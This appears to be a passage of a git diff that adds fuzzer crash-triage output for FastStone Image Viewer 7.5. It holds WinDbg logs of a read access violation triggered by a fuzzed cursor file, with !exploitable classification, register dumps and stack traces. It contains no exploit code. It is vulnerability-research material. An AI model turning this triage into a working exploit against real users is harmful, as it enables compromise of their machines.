+BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/69360/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/69360/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..434f7b1 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/69360/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/7015/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/7015/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/7015/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/7015/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/7015/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..e1afc80 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/7015/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/7015/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/7015/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..79f1a7e --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/7015/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x8: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x8: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(8.1eb8): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=003fed2d ecx=07ed7b10 edx=00003879 esi=ff230010 edi=0fc6cfd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.741047051771987040000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=5.47269e+012 -3.57182e+016 2.78014e+036 -0.00217856 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fb8130 07f35930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003af000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003af000 09d65a6a 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d629e 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003af000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/7015/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/7015/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..79f1a7e --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/7015/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x8: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x8: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(8.1eb8): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=003fed2d ecx=07ed7b10 edx=00003879 esi=ff230010 edi=0fc6cfd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.741047051771987040000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=5.47269e+012 -3.57182e+016 2.78014e+036 -0.00217856 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fb8130 07f35930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003af000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003af000 09d65a6a 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d629e 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003af000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] 